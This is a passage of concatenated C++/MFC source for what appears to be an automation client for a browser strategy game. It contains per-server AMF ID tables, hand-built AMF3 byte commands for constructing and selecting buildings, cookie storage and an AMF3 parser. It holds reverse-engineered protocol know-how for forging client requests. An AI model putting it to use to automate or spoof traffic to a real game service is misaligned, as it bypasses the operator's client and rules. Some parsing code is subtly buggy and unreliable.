    m_mapDomanByte.SetAt("616","48.156.134.28"); //616---东北区,辽宁2区


    m_mapDomanByte.SetAt("609","48.172.238.40"); //609---东北区,辽宁1区


    m_mapDomanByte.SetAt("621","48.151.136.23"); //621---东北区,沈阳1区   


    m_mapDomanByte.SetAt("631","48.146.154.115"); //631---东北区,大连1区





    m_mapDomanByte.SetAt("656","48.135.136.117"); //656---东北区,吉林4区





    m_mapDomanByte.SetAt("647","48.141.132.10"); //647---东北区,吉林3区


    m_mapDomanByte.SetAt("626","48.146.132.33"); //626---东北区,吉林2区





    m_mapDomanByte.SetAt("611","48.167.221.67"); //611---东北区,吉林1区





    m_mapDomanByte.SetAt("635","48.146.212.104"); //635---东北区,长春1区





    m_mapDomanByte.SetAt("651","48.140.156.26"); //651---东北区,黑龙江5区





    m_mapDomanByte.SetAt("642","48.147.215.35"); //642---东北区,黑龙江4区





    m_mapDomanByte.SetAt("637","48.147.157.51"); //637---东北区,黑龙江3区





    m_mapDomanByte.SetAt("632","48.146.219.95"); //632---东北区,黑龙江2区


    


    m_mapDomanByte.SetAt("613","48.170.254.115"); //613---东北区,黑龙江1区





    m_mapDomanByte.SetAt("618","48.153.147.28"); //618---东北区,哈尔滨1区





//建筑坐标


///////////////////////////////////////////////////////////////////////////////////


m_mapSelectBuild.InitHashTable(35);


//西北方向


m_mapSelectBuild.SetAt("C27","5-50.7.67.6.55");


m_mapSelectBuild.SetAt("C28","5-50.7.67.6.56");


m_mapSelectBuild.SetAt("C22","5-50.7.67.6.50");


m_mapSelectBuild.SetAt("C26","5-50.7.67.6.54");


m_mapSelectBuild.SetAt("C23","5-50.7.67.6.51");


m_mapSelectBuild.SetAt("C25","5-50.7.67.6.53");


m_mapSelectBuild.SetAt("C24","5-50.7.67.6.52");


//西南方向





m_mapSelectBuild.SetAt("C14","5-50.7.67.5.52");


m_mapSelectBuild.SetAt("C12","5-50.7.67.5.50");


m_mapSelectBuild.SetAt("C13","5-50.7.67.5.51");


m_mapSelectBuild.SetAt("C8", "4-50.5.67.12");


m_mapSelectBuild.SetAt("C11","5-50.7.67.5.49");


m_mapSelectBuild.SetAt("C10","5-50.7.67.5.48");


m_mapSelectBuild.SetAt("C9", "4-50.5.67.13");





//东北方向


m_mapSelectBuild.SetAt("C21","5-50.7.67.6.49");


m_mapSelectBuild.SetAt("C19","5-50.7.67.5.57");


m_mapSelectBuild.SetAt("C17","5-50.7.67.5.55");


m_mapSelectBuild.SetAt("C20","5-50.7.67.6.48");


m_mapSelectBuild.SetAt("C18","5-50.7.67.5.56");


m_mapSelectBuild.SetAt("C16","5-50.7.67.5.54");


m_mapSelectBuild.SetAt("C15","5-50.7.67.5.53");





//东南方向


m_mapSelectBuild.SetAt("C7","4-50.5.67.3");


m_mapSelectBuild.SetAt("C6","4-50.5.67.2");


m_mapSelectBuild.SetAt("C4","4-50.5.67.0");


m_mapSelectBuild.SetAt("C5","4-50.5.67.1");


m_mapSelectBuild.SetAt("C3","4-50.5.67.7");


m_mapSelectBuild.SetAt("C2","4-50.5.67.6");


m_mapSelectBuild.SetAt("C1","4-50.5.67.5");





//特殊


//官府


m_mapSelectBuild.SetAt("N100","6-50.9.78.5.48.48");


//城墙


m_mapSelectBuild.SetAt("N101","6-50.9.78.5.48.49");








}








//创建建造建筑的amf命令


//0A 首字节 1字节


//00 00 00 03 字节数组的个数 4字节


//11 0C 09 30 84 FE 10 第一个字节数组 09表示字节数组个数(09>1右移1位),是服务大区的编号


//11 0C 0B 30 82 B4 F0 31 //第二个字节数组,表示建筑物类型,好象后8个字节表示


//11 0C 05 30 03//第三个字节数组,表示建筑位置,最后一个字节是建筑位置C1-C28编号


UINT C7wAmfCmd::_CreateBuildAmf(CByteArray *parray, CString strDomain, CString strType, int ipos)


{





    unsigned char amfcmd1[] ="\x0A\x00\x00\x00\x03";


    CString strvalue,str1,str2,str3,str4;


    m_mapDomanByte.Lookup(strDomain,strvalue);


    AfxExtractSubString(str1, strvalue, 0, '.'); // 取出第一个子串


    AfxExtractSubString(str2, strvalue, 1, '.'); // 取出第二个子串


    AfxExtractSubString(str3, strvalue, 2, '.'); // 取出第三个子串


    AfxExtractSubString(str4, strvalue, 3, '.'); // 取出第四个子串


    BYTE head[]="\x11\x0C";


    


    BYTE domain[5]={0};


    domain[0]=0x09; //9>>1,4个元素


    domain[1]=::atoi(str1.GetBuffer(0));


    domain[2]=::atoi(str2.GetBuffer(0));


    domain[3]=::atoi(str3.GetBuffer(0));


    domain[4]=::atoi(str4.GetBuffer(0));





    BYTE type[6]={0};


    type[0]=0x0B;//11>>1,5个元素


    type[1]=0x30;


    type[2]=0x82;


    type[3]=0xB4;


    type[4]=0xF0;//后两个字节表示建筑类型,F031居民楼


    type[5]=0x31;


    //仓库   48.130.180.240.50


    //军营   48.130.180.248.1


    //市场   48.130.180.239.161


    //酒馆   48.130.180.231.209


    //医馆   48.130.180.227.186


    //修炼馆 48.130.180.231.211


    //书院   48.130.180.251.233


    //铁匠铺 48.130.180.239.162


    //外使院 48.130.180.235.137








    BYTE pos[3]={0};


    pos[0]=0x05;//5>>1,只有两个元素


    pos[1]=0x30;


    pos[2]=(BYTE)ipos;








    //开始构造CByteArray数组


    UINT utotal=5+7+8+5;


    parray->SetSize(utotal);


    PBYTE phead=parray->GetData();


    memcpy(phead,amfcmd1,5);


    memcpy(phead+5,head,2);


    memcpy(phead+7,domain,5);


    memcpy(phead+12,head,2);


    memcpy(phead+14,type,6);


    memcpy(phead+20,head,2);


    memcpy(phead+22,pos,3);





    return -1;


}














 //0A 00 00 00 02 11 0C 09 30 8C CB 04 11 0C 0B 32 


//07 43 05 31                                     





//选择建筑的amf命令


//0A 首字节 1字节


//00 00 00 02 字节数组的个数 4字节


//11 0C 09 30 84 FE 10 第一个字节数组 09表示字节数组个数(09>1右移1位),是服务大区的编号


//11 0C 0B 30 82 B4 F0 31 //第二个字节数组,表示选择建筑的坐标,官府和围墙特殊需要6个字节











UINT C7wAmfCmd::_SelectBuildAmf(CByteArray *parray, CString strDomain,CString strNoPos)


{


    unsigned char amfcmd1[] ="\x0A\x00\x00\x00\x02";


    //得到大区数据


    CString strvalue,str1,str2,str3,str4,str5;


    m_mapDomanByte.Lookup(strDomain,strvalue);


    AfxExtractSubString(str1, strvalue, 0, '.'); // 取出第一个子串


    AfxExtractSubString(str2, strvalue, 1, '.'); // 取出第二个子串


    AfxExtractSubString(str3, strvalue, 2, '.'); // 取出第三个子串


    AfxExtractSubString(str4, strvalue, 3, '.'); // 取出第四个子串


    BYTE head[]="\x11\x0C";


    BYTE domain[5]={0};


    domain[0]=0x09; //9>>1,4个元素


    domain[1]=::atoi(str1.GetBuffer(0));


    domain[2]=::atoi(str2.GetBuffer(0));


    domain[3]=::atoi(str3.GetBuffer(0));


    domain[4]=::atoi(str4.GetBuffer(0));





    //得到建筑坐标


    CString strpos[8];


    CString strnums,strtemp;


    m_mapSelectBuild.Lookup(strNoPos,strvalue);


    AfxExtractSubString(strnums, strvalue, 0, '-'); //重要，先取出坐标的个数


    UINT unums=::atoi(strnums);


    //把坐标字符串分解出来


    for(int i=0;i<unums;i++)


    {


        AfxExtractSubString(strpos[i],strvalue,i,'.');


        //把'-'字符过滤掉才行


        if(i==0)


        {


            AfxExtractSubString(strtemp,strpos[i],1,'-');


            strpos[i]=strtemp;


        }





    }





    //保存建筑坐标的字节组，最大8个元素


    BYTE posbyte[8]={0};


    posbyte[0]=unums*2+1;//元素个数,右移1位,真正数目


    for(i=0;i<unums;i++)


    {


        posbyte[i+1]=::atoi(strpos[i]);


    }





    


    //开始构造CByteArray数组


    UINT utotal=5+7+3+unums;


    parray->SetSize(utotal);


    PBYTE phead=parray->GetData();


    memcpy(phead,amfcmd1,5);


    memcpy(phead+5,head,2);


    memcpy(phead+7,domain,5);


    memcpy(phead+12,head,2);


    memcpy(phead+14,posbyte,unums+1);

















/*  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"_pos";


    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


    file.Write(parray->GetData(),parray->GetSize());


    file.Close();*/




















    return -1;


}





CString C7wAmfCmd::_GetBuildSelectStr(CString strNoPos)


{


    return "";











}











源码/7wAmfCmd.h

// 7wAmfCmd.h: interface for the C7wAmfCmd class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_7WAMFCMD_H__29AE78FE_3672_4F26_8100_E0CD8E69CBB5__INCLUDED_)
#define AFX_7WAMFCMD_H__29AE78FE_3672_4F26_8100_E0CD8E69CBB5__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "MainFrm.h"

typedef struct
{
    unsigned   char *buffer;
	UINT	   usize;
	CMainFrame *pfm;
	CString    m_strcmd;
	BOOL       m_bdecode;//是否对接收数据进行解析



} TAG_AMF3CMD;



class C7wAmfCmd  
{
public:

	static CString _GetBuildSelectStr(CString strNoPos);
	static UINT _SelectBuildAmf(CByteArray *parray, CString strDomain,CString strNoPos);
	static UINT _CreateBuildAmf(CByteArray *parray,CString strDomain,CString strType,int ipos);
	static void _SetGlobalParamaters();
	static UINT _CreateAmf3Cmd(CByteArray *parray,CString strcmd,BYTE *pbuf,UINT ulen);
	static DWORD WINAPI _SendAmfCmd(LPVOID lpParam);	
	static UINT			_Decode7WAmfCmd(BYTE *pbuf,UINT ulen,BOOL bGzip,CMainFrame *pfm);
	C7wAmfCmd();
	virtual ~C7wAmfCmd();
	static CString m_strCookies;
	static CString m_strDomain;//非常重要,大区的编号
	static CMapStringToString  m_mapDomanByte;//服务区的amf编号,发送amf命令必备
	static CMapStringToString  m_mapSelectBuild;//选择建筑坐标对照表


};

#endif // !defined(AFX_7WAMFCMD_H__29AE78FE_3672_4F26_8100_E0CD8E69CBB5__INCLUDED_)








源码/amfcmd/castleAct_listAllQueue.txt

��������castleAct.listAllQueue��/114����
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源码/amf_object.cpp


源码/amf_object.cpp

// amf_object.cpp: implementation of the amf_object class.


//


//////////////////////////////////////////////////////////////////////





#include "stdafx.h"


#include "7QW.h"


#include "amf_object.h"





#ifdef _DEBUG


#undef THIS_FILE


static char THIS_FILE[]=__FILE__;


#define new DEBUG_NEW


#endif





#define EPOCH_DIFF 116444736000000000 //FILETIME starts from 1601-01-01 UTC, epoch from 1970- 01-01


//////////////////////////////////////////////////////////////////////


// Construction/Destruction


//////////////////////////////////////////////////////////////////////














amf_object_handle::amf_object_handle():pobj(0)


{


}





amf_object_handle::amf_object_handle(const amf_object_handle &rhs)


{


    pobj = rhs.pobj;


    


    if(pobj!=NULL) 


        pobj->add_ref();


}





amf_object_handle::amf_object_handle(amf_object* obj)


{


    pobj = obj;


    if(pobj!=0)


        pobj->add_ref();


}





amf_object_handle::~amf_object_handle(void)


{


    if(pobj!=0)


        pobj->release();


}





bool amf_object_handle::isnull()


{


    return pobj==0;


}





void amf_object_handle::release()


{


    if(pobj!=0)


        pobj->release();


    


    pobj = 0;


}





amf_object_handle& amf_object_handle::operator = (const amf_object_handle &rhs)


{


    if(pobj==rhs.pobj) 


        return *this;


    


    amf_object* old = pobj;


    pobj = rhs.pobj;


    


    if(pobj!=NULL) 


        pobj->add_ref();


    


    if(old!=NULL) 


        old->release();


    


    return *this;


}





amf_object_handle& amf_object_handle::operator = (amf_object* obj)


{


    if(pobj==obj) 


        return *this;


    


    amf_object* old = pobj;


    pobj = obj;


    


    if(pobj!=NULL) 


        pobj->add_ref();


    


    if(old!=NULL) 


        old->release();


    


    return *this;


}





amf_object* amf_object_handle::operator -> () const


{


    return pobj;


}





bool amf_object_handle::operator ==(const amf_object_handle &rhs) const


{


    return pobj==rhs.pobj;


}





////////////////////////////////////////////////////////////////////////////////////////////////////


amf_object::amf_object()


{


    ref = 1;


    bytearrayLen = 0;


    bytearrayValue = 0;


    name="";


    classname="";


    clear_value();


    maskbit1=1;


    maskbit2=1;


    maskbit3=1;


    maskbit4=1;


    m_uGlobal=0;


    index=-1;//重要,普通object添加时不会修改索引,所以设置为0的index会和traits object索引重复引起解析错误.一定要设置-1.





}





amf_object::~amf_object()


{


    clear_value();


}





void amf_object::clear_value()


{


    type = DT_UNDEFINED;


    


    boolValue = false;


    intValue = 0;


    doubleValue = 0.0f;


    strValue.Empty();


    name.Empty();


    bytearrayLen = 0;


    if(bytearrayValue!=0)


    {


        delete bytearrayValue;


        bytearrayValue = 0;


    }


    


    ::memset(&dateValue,0,sizeof(SYSTEMTIME));


}





amf_object_handle amf_object::Alloc()


{


    amf_object_handle hobj = new amf_object();


    hobj->release();


    return hobj;


}








void amf_object::add_ref()


{


    ::InterlockedIncrement(&ref);


}





void amf_object::release()


{


    if(0==::InterlockedDecrement(&ref))


        delete this;


}
































void amf_object::init_context(TAG_context *ctx, void *p1, void *p2)


{


    ctx->m_IFileHandle = 0;


    ctx->m_OFileHandle = 0;


    ctx->s_ReadBufSize = 0;


    ctx->s_ReadBuf = 0;


}














void amf_object::set_time_seed(double t)


{


    __int64 lft = (__int64)t;


    lft = lft * 10000 + EPOCH_DIFF;


    


    FILETIME ft;


    ft.dwLowDateTime = (DWORD)lft;


    ft.dwHighDateTime = (DWORD)(lft>>32);


    ::FileTimeToSystemTime(&ft,&dateValue);


    


    TIME_ZONE_INFORMATION zinfo;


    ::GetTimeZoneInformation(&zinfo);


    


    SYSTEMTIME st;


    ::SystemTimeToTzSpecificLocalTime(&zinfo,&dateValue,&st);


    


    dateValue.wYear = st.wYear;


    dateValue.wMonth = st.wMonth;


    dateValue.wDay = st.wDay;


    dateValue.wDayOfWeek = st.wDayOfWeek;


    dateValue.wHour = st.wHour;


    dateValue.wMinute = st.wMinute;


    dateValue.wSecond = st.wSecond;


    dateValue.wMilliseconds = st.wMilliseconds;








}











double amf_object::get_time_seed()


{


    TIME_ZONE_INFORMATION zinfo;


    ::GetTimeZoneInformation(&zinfo);


    


    SYSTEMTIME st;


    ::TzSpecificLocalTimeToSystemTime(&zinfo,&dateValue,&st);


    


    dateValue.wYear = st.wYear;


    dateValue.wMonth = st.wMonth;


    dateValue.wDay = st.wDay;


    dateValue.wDayOfWeek = st.wDayOfWeek;


    dateValue.wHour = st.wHour;


    dateValue.wMinute = st.wMinute;


    dateValue.wSecond = st.wSecond;


    dateValue.wMilliseconds = st.wMilliseconds;


    


    FILETIME filetime;


    ::SystemTimeToFileTime(&dateValue,&filetime);


    __int64 t = filetime.dwHighDateTime;


    t = t<<32 | filetime.dwLowDateTime;


    t -= EPOCH_DIFF;


    return (double)(t/10000);


}








void amf_object::set_as_unsigned_number(unsigned int num)


{


    if(num<=0x0FFFFFFF)


    {


        type = DT_INTEGER;


        intValue = num;


    }


    else


    {


        type = DT_DOUBLE;


        doubleValue = (double)num;


    }


}





void amf_object::set_as_number(int num)


{


    if(num>0)


    {


        if(num<=0x0FFFFFFF)


        {


            type = DT_INTEGER;


            intValue = num;


        }


        else


        {


            type = DT_DOUBLE;


            doubleValue = (double)num;


        }


    }


    else


    {


        type = DT_DOUBLE;


        doubleValue = (double)num;


    }


}





void amf_object::add_child(amf_object_handle obj)


{


    childrens.push_back(obj);


}





bool amf_object::has_child(const char* name)


{


    for(size_t i=0;i<childrens.size();i++)


    {


        if(childrens[i]->name==name)


            return true;


    }


    


    return false;


}





amf_object_handle amf_object::get_child(const char* name)


{


    for(size_t i=0;i<childrens.size();i++)


    {


        if(childrens[i]->name==name)


            return childrens[i];


    }


    


    return 0;


}





void amf_object::clear_context(TAG_context *ctx)


{


    if(ctx->s_ReadBufSize>0)


    {


        free(ctx->s_ReadBuf);


        ctx->s_ReadBufSize = 0;


        ctx->s_ReadBuf = 0;


    }


    


    ctx->m_IFileHandle = 0;


    ctx->m_OFileHandle = 0;


    


    ctx->m_szReadObjRefTab.clear();


    ctx->m_szReadStrRefTab.clear();


}





amf_object * amf_object_handle::_getamfobject()


{


    return pobj;


}








源码/amf_object.h

// amf_object.h: interface for the amf_object class.
//
//////////////////////////////////////////////////////////////////////
#include <vector>
using   namespace   std;
#if !defined(AFX_AMF_OBJECT_H__2C6F9FFA_97A5_431E_B658_1660685A74A2__INCLUDED_)
#define AFX_AMF_OBJECT_H__2C6F9FFA_97A5_431E_B658_1660685A74A2__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000


#define DYNAMIC_OBJ_MAX_PROPERTY	512


#define REFERENCE_BIT	0x01

#define EMPTY_STRING	0x01

enum DataType
{
		DT_UNDEFINED = 0x00,	//unsupport
		DT_NULL = 0x01,
		DT_FALSE = 0x02,
		DT_TRUE = 0x03,
		DT_INTEGER = 0x04,
		DT_DOUBLE = 0x05,
		DT_STRING = 0x06,
		DT_XMLDOC = 0x07,		//unsupport
		DT_DATE = 0x08,
		DT_ARRAY = 0x09,
		DT_OBJECT = 0x0A,
		DT_XML = 0x0B,			//unsupport
		DT_BYTEARRAY = 0x0C,	
		DT_FIXOBJECT=0x11
};

class amf_object;
struct TAG_context;

class amf_object_handle
{
public:
	amf_object_handle();
	amf_object_handle(const amf_object_handle &rhs);
	amf_object_handle(amf_object* obj);
	~amf_object_handle(void);
	
public:
	bool isnull();
	void release();
	
public:
	amf_object * _getamfobject();
	amf_object_handle& operator = (const amf_object_handle &rhs);
	amf_object_handle& operator = (amf_object* obj);
	amf_object* operator -> () const;
	
	bool operator == (const amf_object_handle &rhs) const;
	
private:
	amf_object* pobj;

};

typedef std::vector<amf_object_handle> type_amf_ref_tab;




class amf_object  
{
	friend class amf_object_handle;
	
public:
	static amf_object_handle Alloc();
	
protected:
	amf_object();
	~amf_object(void);
	
public:
	void clear_value();
	
public:
	double get_time_seed();
	void   set_time_seed(double t);
	
public:
	void set_as_unsigned_number(unsigned int num);
	void set_as_number(int num);
	
public:
	void add_ref();
	void release();
	
public:
	void add_child(amf_object_handle obj);
	bool has_child(const char* name);
	amf_object_handle get_child(const char* name);
	
private:
	long ref;
	
public:
	UINT m_uGlobal;
	static void clear_context(TAG_context* ctx);
	static void  init_context(TAG_context* ctx,void *p1,void *p2);
	//////////////////////////////////////////////////////////////////
	CString classname;
	CString  name;	
	DataType type;
	bool boolValue;
	int intValue;
	double doubleValue;
	CString  strValue;
	SYSTEMTIME dateValue;
	int bytearrayLen;
	unsigned char* bytearrayValue;
	std::vector<amf_object_handle> childrens;
	////////////////////////////////////////////////////////////////////////
	int index;		//找实体的索引
	int childnums;	//子属性的数目
	int maskbit1;
	int maskbit2;
	int maskbit3;
	int maskbit4;

};

typedef struct TAG_context
{
	void* m_IFileHandle;
	void* m_OFileHandle;
	
	unsigned char* s_ReadBuf;
	int s_ReadBufSize;
	
	type_amf_ref_tab m_szReadMaxRefTab;
	type_amf_ref_tab m_szReadObjRefTab;
	type_amf_ref_tab m_szReadStrRefTab;
	type_amf_ref_tab m_szReadTraitsTab;
	
}TAG_context;
#endif // !defined(AFX_AMF_OBJECT_H__2C6F9FFA_97A5_431E_B658_1660685A74A2__INCLUDED_)








源码/amf_static.cpp


源码/amf_static.cpp

// amf_static.cpp: implementation of the amf_static class.


//


//////////////////////////////////////////////////////////////////////





#include "stdafx.h"


#include "7QW.h"


#include "amf_static.h"


#include "GZipHelper.h"








#ifdef _DEBUG


#undef THIS_FILE


static char THIS_FILE[]=__FILE__;


#define new DEBUG_NEW


#endif





//////////////////////////////////////////////////////////////////////


// Construction/Destruction


//////////////////////////////////////////////////////////////////////


UINT amf_static::m_uIndex=0;





amf_static::amf_static()


{





}





amf_static::~amf_static()


{





}





int amf_static::read_data(void *file, size_t size, unsigned char *buf)


{


    TAG_IODATA* data = (TAG_IODATA*)file;


    


    if((data->buflen-data->pos)<size) 


        return 0;





    ::memcpy(buf,data->buf+data->pos,size);


    data->pos += size;


    return size;


}











unsigned char amf_static::read_byte(TAG_context *ctx)


{


    


    unsigned char data;


    amf_static::read_data(ctx->m_IFileHandle,1,&data);


    return data;





}





int amf_static::read_int(TAG_context *ctx)


{


    unsigned char byte = read_byte(ctx);


    int readnum = 0;


    int value = 0;


    while(((byte & 0x80)!=0) && (readnum<3))


    {


        value = (value<<7) | (byte & 0x7F);


        ++readnum;


        byte = read_byte(ctx);


    }


    


    //


    if(readnum<3)


        value = (value<<7) | (byte & 0x7F);


    else


        value = (value<<8) | (byte & 0xFF);


    


    //  


    if((value&0x10000000)!=0)


        value = (value&0x10000000) | 0x80000000;


    


    CString ss;


    ss.Format("%d",value);


    //AfxMessageBox(ss);


    return value;


}





CString amf_static::UTF8_2_OEM(const char *utf8)


{


    if(utf8==0) return "";


    


    int wlen = ::MultiByteToWideChar(CP_UTF8,0,utf8,-1,0,0);


    wchar_t* wbuf = new wchar_t[wlen+1];


    ::MultiByteToWideChar(CP_UTF8,0,utf8,-1,wbuf,wlen);


    wbuf[wlen] = L'0';


    


    int clen = ::WideCharToMultiByte(CP_ACP,0,wbuf,-1,0,0,0,0);


    char* cbuf = new char[clen+1];


    ::WideCharToMultiByte(CP_ACP,0,wbuf,-1,cbuf,clen,0,0);


    cbuf[clen] = '\0';


    


    CString  str = cbuf;


    


    delete wbuf;


    delete cbuf;


    


    return str;


}





void amf_static::read_string(TAG_context *ctx, CString &str)


{


    str.Empty();


    CString temp;


    int head = read_int(ctx);


    if(head==EMPTY_STRING) return;


    


    if(is_refrence(head))


    {





        int idx = head>>1;


        amf_object_handle obj = get_ref_tab(ctx->m_szReadStrRefTab,idx);


        if(!obj.isnull() && obj->type==DT_STRING)


        {


            str = obj->strValue;


        


        }


    }


    else


    {


        int len = head>>1;


    


        if(len<=0)


        {


            return;


        }


    





        char* buf =(char *)realloc_read_buf(ctx,len+1);


        read_data(ctx->m_IFileHandle,len,(unsigned char*)buf);


        buf[len] = '\0';


        temp = UTF8_2_OEM(buf);


        str=temp;


        amf_object_handle obj = amf_object::Alloc();


        obj->type = DT_STRING;


        obj->strValue = str;


        add_ref_tab(ctx->m_szReadStrRefTab,obj);





    }


}





bool amf_static::is_refrence(int header)


{


    return 0 == (header & REFERENCE_BIT);


}





unsigned char* amf_static::realloc_read_buf(TAG_context *ctx, size_t size)


{


    


    if(ctx->s_ReadBufSize<size)


    {


        free(ctx->s_ReadBuf);


        ctx->s_ReadBuf = (unsigned char*)malloc(size);


        ctx->s_ReadBufSize = size;


    }


    


    return ctx->s_ReadBuf;


}





DataType amf_static::read_type(TAG_context *ctx)


{


    return (DataType)read_byte(ctx);


}





unsigned __int64 amf_static::swap_u64(unsigned __int64 data)


{


    BYTE buf[8];


    ::memcpy(buf,&data,8);


    


    unsigned __int64 retvalue = 0;


    unsigned __int64 tmp;


    


    tmp = buf[0];


    retvalue = tmp<<56;


    


    tmp = buf[1];


    retvalue |= tmp<<48;


    


    tmp = buf[2];


    retvalue |= tmp<<40;


    


    tmp = buf[3];


    retvalue |= tmp<<32;


    


    tmp = buf[4];


    retvalue |= tmp<<24;


    


    tmp = buf[5];


    retvalue |= tmp<<16;


    


    tmp = buf[6];


    retvalue |= tmp<<8;


    


    tmp = buf[7];


    retvalue |= tmp;


    


    return retvalue;


}





double amf_static::read_double(TAG_context *ctx)


{


    double data = 0.0f;


    unsigned __int64 tmp = read_u64(ctx);


    ::memcpy(&data,&tmp,8);


    return data;


}





unsigned __int64 amf_static::read_u64(TAG_context *ctx)


{


    unsigned __int64 data = 0;


    read_data(ctx->m_IFileHandle,8,(unsigned char*)&data);


    return swap_u64(data);


}





amf_object_handle amf_static::read_date(TAG_context *ctx)


{


    


    amf_object_handle obj,obj2;


    int iref;


    int head = read_int(ctx);





    if(is_refrence(head))


    {


        


        int idx = head>>1;


        amf_object_handle refobj = get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);


        if(!refobj.isnull() && refobj->type==DT_DATE)


        {


            return refobj;


        }


    }


    else


    {


        double time = read_double(ctx)/1000;


        


        obj = amf_object::Alloc();


        obj2 = amf_object::Alloc();


        obj->type = DT_DATE;


        obj2->type = DT_DATE;


        ////////////////////////////////////////////////////////////


        iref=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);


        obj->m_uGlobal=iref;


        obj->set_time_seed(time);


        ///////////////////////////////////////////////////////////





        add_ref_tab(ctx->m_szReadObjRefTab,obj);


    }


    


    return obj;


}





amf_object_handle amf_static::get_ref_tab(type_amf_ref_tab &tab, int idx,BOOL bflag)


{


    int i;


    if(!bflag)


    {


        if(idx>=0 && idx<tab.size())


            return tab[idx];


    }





    for(i=0;i<tab.size();i++)


    {   


        if(tab[i]->m_uGlobal==idx)


            break;


    }


    return tab[i];


    


}





int amf_static::add_ref_tab(type_amf_ref_tab &tab, amf_object_handle obj)


{


    tab.push_back(obj);


    return tab.size()-1;


}





amf_object_handle amf_static::read_array(TAG_context *ctx)


{


    amf_object_handle obj,obj2;


    CString ff;


    int iref;


    int head = read_int(ctx);





    if(is_refrence(head))


    {


        int idx = head>>1;


        amf_object_handle refobj = get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);


        if(!refobj.isnull() && refobj->type==DT_ARRAY)


        {


            return refobj;


        }


    }


    else


    {


        obj = amf_object::Alloc();


        obj2=amf_object::Alloc();


        obj->type = DT_ARRAY;


        obj2->type=DT_ARRAY;





        int subnum = head>>1;


        CString  name;


        //先读个字符串,大部是空字符串


        read_string(ctx,name);


        


        //顺序读取数组元素  


        iref=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);


        for(int i=0;i<subnum;i++)


        {


            amf_object_handle sub = read_elem(ctx);


        


            if(!sub.isnull())


                obj->add_child(sub);


            else


                obj->add_child(amf_object::Alloc());





        





        }


        obj->m_uGlobal=iref;


        add_ref_tab(ctx->m_szReadObjRefTab,obj);


    }





    return obj;


}





amf_object_handle amf_static::read_elem(TAG_context *ctx)


{


    amf_object_handle obj = amf_object::Alloc();


    CString log;


    obj->type = read_type(ctx);


    CString f;


    f.Format("type=%d",obj->type);


//  AfxMessageBox(f);


    switch(obj->type)


    {


    case DT_NULL:


        break;


    case DT_FALSE:


        obj->boolValue = false;


        break;


    case DT_TRUE:


        obj->boolValue = true;


        break;


    case DT_INTEGER:


    


        obj->intValue = read_int(ctx);


        break;


    case DT_DOUBLE:


        obj->doubleValue = read_double(ctx);


        break;


    case DT_STRING:


        read_string(ctx,obj->strValue);


        


        break;


    case DT_DATE:


        obj = read_date(ctx);


        break;


    case DT_ARRAY:


        obj = read_array(ctx);


        break;


    case DT_OBJECT:


        obj = read_obj(ctx);


        break;


    case DT_BYTEARRAY:


        obj = read_bytearray(ctx);


        break;


    case DT_FIXOBJECT:


        //BYTE bfix;


        //read_byte(ctx);


        break;


    default:


        return 0;


        break;


    }


    


    return obj;


}





amf_object_handle amf_static::read_obj(TAG_context *ctx)


{


    





    amf_object_handle obj,traits,obj2;


    int iref=0;


    int iref2=0;


    //////////////////////////////////////


    obj = amf_object::Alloc();//生成已解析实例


    obj->type = DT_OBJECT;


    traits=amf_object::Alloc();//生成特性实例


    traits->type = DT_OBJECT;


    obj2=amf_object::Alloc();


    obj2->type=DT_OBJECT;


    ////////////////////////////////////


    int objref = read_int(ctx);


    bool dynamic = false;


    CString xlog;


    xlog.Format("int=%d",objref);


    //  AfxMessageBox(xlog);


    //if(objref==0)


    //  return NULL;


    if(is_refrence(objref))//(0,x,x,x)


    {


        int idx = objref>>1;


        amf_object_handle refobj;


        


        if(idx>ctx->m_szReadObjRefTab.size())


        {   


            refobj=get_ref_tab(ctx->m_szReadMaxRefTab,idx,FALSE);


            xlog.Format("idx=%d,%d,%d",idx,ctx->m_szReadObjRefTab.size(),ctx->m_szReadMaxRefTab.size());


            //  AfxMessageBox(xlog);


            return refobj;


        }


        refobj =get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);


        refobj->maskbit1=0;


        if(!refobj.isnull() && refobj->type==DT_OBJECT)


        {


            


            return refobj;


        }


    }


    else


    {


        int subnum = 0;


        int maskbit2 = ((objref>>1)&0x1);


        int maskbit3 = ((objref>>2)&0x1);


        int maskbit4 = ((objref>>3)&0x1);


        


        amf_object_handle refobj;


        CString subname;


        if(maskbit2==0)//(1,0,x,x)


        {


            int idx = objref>>2;


            


            ///////////////////////////////////////////////////////


            iref2=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);


            ///////////////////////////////////////////////////////


            


            //得到特性实体


            refobj =get_Traits_tab(ctx->m_szReadObjRefTab,idx);         


            


            if(!refobj.isnull() && refobj->type==DT_OBJECT)


            {


                for(int i=0;i<refobj->childrens.size();i++)


                {   


                    amf_object_handle sub = read_elem(ctx);


                    if(!sub.isnull())


                    {


                        sub->name = refobj->childrens[i]->name;


                        obj->add_child(sub);


                    }


                }


                


                obj->m_uGlobal=iref2;


                obj->maskbit2=maskbit2;


                obj->maskbit3=maskbit3;


                obj->maskbit4=maskbit4;


                


                add_ref_tab(ctx->m_szReadObjRefTab,obj);


                return obj;


                


            }


            


        }


        else//(1,1,x,x)


        {


            if(maskbit3==0)//(情形:1,1,0,x)


            {


                dynamic = maskbit4!=0;


                if(dynamic==0)//(1,1,0,0)


                {   


                    subnum = objref>>4;


                    read_string(ctx,obj->classname);


                    


                    CString subname;


                    std::vector<CString> subs;


                    for(int i=0;i<subnum;i++)


                    {


                        read_string(ctx,subname);


                        


                        subs.push_back(subname);


                    }


                    ////////////////////////////////////////////////////


                    iref2=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);


                    ////////////////////////////////////////////////////    


                    traits->maskbit2=maskbit2;


                    traits->maskbit3=maskbit3;


                    traits->maskbit4=maskbit4;


                    traits->childnums=subnum;


                    


                    iref=add_ref_tab(ctx->m_szReadTraitsTab,traits);


                    /////////////////////////////////////////////////////


                    CString xx;


                    


                    for(i=0;i<subnum;i++)


                    {


                        amf_object_handle sub = read_elem(ctx);


                        if(!sub.isnull())


                        {


                            sub->name = subs[i];


